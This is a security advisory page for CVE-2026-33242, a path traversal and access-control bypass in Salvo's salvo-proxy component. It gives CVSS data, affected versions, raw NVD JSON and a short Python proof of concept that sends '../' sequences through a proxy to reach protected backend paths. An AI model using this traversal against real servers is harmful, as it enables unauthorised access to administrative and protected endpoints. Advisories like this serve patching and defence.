Security Vulnerability Report
中文
CVE-2026-33242 CVSS 7.5 HIGH

CVE-2026-33242

Published: 2026-03-24 00:16:30
Last Modified: 2026-03-24 19:37:42

Description

Salvo is a Rust web framework. Versions 0.39.0 through 0.89.2 have a Path Traversal and Access Control Bypass vulnerability in the salvo-proxy component. The vulnerability allows an unauthenticated external attacker to bypass proxy routing constraints and access unintended backend paths (e.g., protected endpoints or administrative dashboards). This issue stems from the encode_url_path function, which fails to normalize "../" sequences and inadvertently forwards them verbatim to the upstream server by not re-encoding the "." character. Version 0.89.3 contains a patch.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:salvo:salvo:*:*:*:*:*:rust:*:* - VULNERABLE
Salvo 0.39.0
Salvo 0.39.1
Salvo 0.89.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33242 # The vulnerability allows bypassing proxy routing via unencoded '.' in '../' import requests target_url = "http://[target_host]/[public_endpoint]/../../[protected_path]" # Example: If the proxy maps /public to backend /app/public # accessing /public/../../admin might reach backend /app/admin response = requests.get(target_url) if response.status_code == 200: print("Vulnerable! Access to restricted path granted.") print(response.text) else: print("Exploit failed or path not found.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33242", "sourceIdentifier": "[email protected]", "published": "2026-03-24T00:16:29.670", "lastModified": "2026-03-24T19:37:42.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Salvo is a Rust web framework. Versions 0.39.0 through 0.89.2 have a Path Traversal and Access Control Bypass vulnerability in the salvo-proxy component. The vulnerability allows an unauthenticated external attacker to bypass proxy routing constraints and access unintended backend paths (e.g., protected endpoints or administrative dashboards). This issue stems from the encode_url_path function, which fails to normalize \"../\" sequences and inadvertently forwards them verbatim to the upstream server by not re-encoding the \".\" character. Version 0.89.3 contains a patch."}, {"lang": "es", "value": "Salvo es un framework web de Rust. Las versiones 0.39.0 a 0.89.2 tienen una vulnerabilidad de salto de ruta y omisión de control de acceso en el componente salvo-proxy. La vulnerabilidad permite a un atacante externo no autenticado omitir las restricciones de enrutamiento del proxy y acceder a rutas de backend no deseadas (p. ej., puntos finales protegidos o paneles administrativos). Este problema se origina en la función encode_url_path, que no normaliza las secuencias '../' y las reenvía inadvertidamente tal cual al servidor ascendente al no volver a codificar el carácter '.'. La versión 0.89.3 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:salvo:salvo:*:*:*:*:*:rust:*:*", "versionStartIncluding": "0.39.0", "versionEndExcluding": "0.89.3", "matchCriteriaId": "7449C04F-284B-49D5-97EC-527C92EDA4D9"}]}]}], "references": [{"url": "https://github.com/salvo-rs/salvo/commit/7bac30e6960355c58e358e402072d4a3e5c4e1bb#diff-e319bf7afcb577f7e9f4fb767005072f6335d23f306dd52e8c94f3d222610d02R20", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/salvo-rs/salvo/releases/tag/v0.89.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/salvo-rs/salvo/security/advisories/GHSA-f842-phm9-p4v4", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/salvo-rs/salvo/security/advisories/GHSA-f842-phm9-p4v4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}